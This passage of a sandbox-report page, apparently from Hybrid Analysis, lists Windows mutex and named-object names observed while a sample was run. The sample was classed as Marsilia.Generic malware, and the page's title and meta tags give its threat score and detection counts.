d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1656:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:1656:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:1656:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:1656:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1656:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\BaseNamedObjects\\WEBR_VS6J13OLX77U","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1656:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:5880:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:5880:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:5880:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5880:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5880:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5880:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6656:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6656:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6656:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6656:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:6656:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:6656:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:6656:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:6656:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2072:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2072:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\BaseNamedObjects\\WdsSetupLogInit","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\SetupLog","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:2072:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Global\\SetupLog","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:2072:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5740:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5740:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5740:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:5740:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:5740:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:5740:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7652:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7652:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7652:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:7652:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:7652:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:7652:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]}]}},"report_ids":{"sandbox_job_ids":["6ac69f7c0d74e5869207a962"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Marsilia.Generic Sample 5738fee27e66… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 5738fee27e66…. Malware family: Marsilia.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 17 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9"}],["$","meta","4",{"property":"og:title","content":"Malicious Marsilia.Generic Sample 5738fee27e66… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 5738fee27e66…. Malware family: Marsilia.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 17 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Marsilia.Generic Sample 5738fee27e66… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 5738fee27e66…. Malware family: Marsilia.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 17 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L62","11",{}]]